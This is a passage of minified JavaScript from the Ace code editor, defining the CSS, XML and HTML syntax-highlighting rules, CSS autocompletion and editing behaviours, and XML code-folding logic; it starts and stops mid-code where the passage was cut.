k-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/css_completions\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={background:{\"#$0\":1},\"background-color\":{\"#$0\":1,transparent:1,fixed:1},\"background-image\":{\"url('/$0')\":1},\"background-repeat\":{repeat:1,\"repeat-x\":1,\"repeat-y\":1,\"no-repeat\":1,inherit:1},\"background-position\":{bottom:2,center:2,left:2,right:2,top:2,inherit:2},\"background-attachment\":{scroll:1,fixed:1},\"background-size\":{cover:1,contain:1},\"background-clip\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},\"background-origin\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},border:{\"solid $0\":1,\"dashed $0\":1,\"dotted $0\":1,\"#$0\":1},\"border-color\":{\"#$0\":1},\"border-style\":{solid:2,dashed:2,dotted:2,\"double\":2,groove:2,hidden:2,inherit:2,inset:2,none:2,outset:2,ridged:2},\"border-collapse\":{collapse:1,separate:1},bottom:{px:1,em:1,\"%\":1},clear:{left:1,right:1,both:1,none:1},color:{\"#$0\":1,\"rgb(#$00,0,0)\":1},cursor:{\"default\":1,pointer:1,move:1,text:1,wait:1,help:1,progress:1,\"n-resize\":1,\"ne-resize\":1,\"e-resize\":1,\"se-resize\":1,\"s-resize\":1,\"sw-resize\":1,\"w-resize\":1,\"nw-resize\":1},display:{none:1,block:1,inline:1,\"inline-block\":1,\"table-cell\":1},\"empty-cells\":{show:1,hide:1},\"float\":{left:1,right:1,none:1},\"font-family\":{Arial:2,\"Comic Sans MS\":2,Consolas:2,\"Courier New\":2,Courier:2,Georgia:2,Monospace:2,\"Sans-Serif\":2,\"Segoe UI\":2,Tahoma:2,\"Times New Roman\":2,\"Trebuchet MS\":2,Verdana:1},\"font-size\":{px:1,em:1,\"%\":1},\"font-weight\":{bold:1,normal:1},\"font-style\":{italic:1,normal:1},\"font-variant\":{normal:1,\"small-caps\":1},height:{px:1,em:1,\"%\":1},left:{px:1,em:1,\"%\":1},\"letter-spacing\":{normal:1},\"line-height\":{normal:1},\"list-style-type\":{none:1,disc:1,circle:1,square:1,decimal:1,\"decimal-leading-zero\":1,\"lower-roman\":1,\"upper-roman\":1,\"lower-greek\":1,\"lower-latin\":1,\"upper-latin\":1,georgian:1,\"lower-alpha\":1,\"upper-alpha\":1},margin:{px:1,em:1,\"%\":1},\"margin-right\":{px:1,em:1,\"%\":1},\"margin-left\":{px:1,em:1,\"%\":1},\"margin-top\":{px:1,em:1,\"%\":1},\"margin-bottom\":{px:1,em:1,\"%\":1},\"max-height\":{px:1,em:1,\"%\":1},\"max-width\":{px:1,em:1,\"%\":1},\"min-height\":{px:1,em:1,\"%\":1},\"min-width\":{px:1,em:1,\"%\":1},overflow:{hidden:1,visible:1,auto:1,scroll:1},\"overflow-x\":{hidden:1,visible:1,auto:1,scroll:1},\"overflow-y\":{hidden:1,visible:1,auto:1,scroll:1},padding:{px:1,em:1,\"%\":1},\"padding-top\":{px:1,em:1,\"%\":1},\"padding-right\":{px:1,em:1,\"%\":1},\"padding-bottom\":{px:1,em:1,\"%\":1},\"padding-left\":{px:1,em:1,\"%\":1},\"page-break-after\":{auto:1,always:1,avoid:1,left:1,right:1},\"page-break-before\":{auto:1,always:1,avoid:1,left:1,right:1},position:{absolute:1,relative:1,fixed:1,\"static\":1},right:{px:1,em:1,\"%\":1},\"table-layout\":{fixed:1,auto:1},\"text-decoration\":{none:1,underline:1,\"line-through\":1,blink:1},\"text-align\":{left:1,right:1,center:1,justify:1},\"text-transform\":{capitalize:1,uppercase:1,lowercase:1,none:1},top:{px:1,em:1,\"%\":1},\"vertical-align\":{top:1,bottom:1},visibility:{hidden:1,visible:1},\"white-space\":{nowrap:1,normal:1,pre:1,\"pre-line\":1,\"pre-wrap\":1},width:{px:1,em:1,\"%\":1},\"word-spacing\":{normal:1},filter:{\"alpha(opacity=$0100)\":1},\"text-shadow\":{\"$02px 2px 2px #777\":1},\"text-overflow\":{\"ellipsis-word\":1,clip:1,ellipsis:1},\"-moz-border-radius\":1,\"-moz-border-radius-topright\":1,\"-moz-border-radius-bottomright\":1,\"-moz-border-radius-topleft\":1,\"-moz-border-radius-bottomleft\":1,\"-webkit-border-radius\":1,\"-webkit-border-top-right-radius\":1,\"-webkit-border-top-left-radius\":1,\"-webkit-border-bottom-right-radius\":1,\"-webkit-border-bottom-left-radius\":1,\"-moz-box-shadow\":1,\"-webkit-box-shadow\":1,transform:{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-moz-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-webkit-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1}},i=function(){};(function(){this.completionsDefined=!1,this.defineCompletions=function(){if(document){var e=document.createElement(\"c\").style;for(var t in e){if(typeof e[t]!=\"string\")continue;var n=t.replace(/[A-Z]/g,function(e){return\"-\"+e.toLowerCase()});r.hasOwnProperty(n)||(r[n]=1)}}this.completionsDefined=!0},this.getCompletions=function(e,t,n,r){this.completionsDefined||this.defineCompletions();var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(e===\"ruleset\"){var s=t.getLine(n.row).substr(0,n.column);return/:[^;]+$/.test(s)?(/([\\w\\-]+):[^:]*$/.test(s),this.getPropertyValueCompletions(e,t,n,r)):this.getPropertyCompletions(e,t,n,r)}return[]},this.getPropertyCompletions=function(e,t,n,i){var s=Object.keys(r);return s.map(function(e){return{caption:e,snippet:e+\": $0\",meta:\"property\",score:Number.MAX_VALUE}})},this.getPropertyValueCompletions=function(e,t,n,i){var s=t.getLine(n.row).substr(0,n.column),o=(/([\\w\\-]+):[^:]*$/.exec(s)||{})[1];if(!o)return[];var u=[];return o in r&&typeof r[o]==\"object\"&&(u=Object.keys(r[o])),u.map(function(e){return{caption:e,snippet:e,meta:\"property value\",score:Number.MAX_VALUE}})}}).call(i.prototype),t.CssCompletions=i}),define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/css_completions\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./css_completions\").CssCompletions,f=e(\"./behaviour/css\").CssBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.$completer=new a,this.foldingRules=new l};r.inherits(c,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else 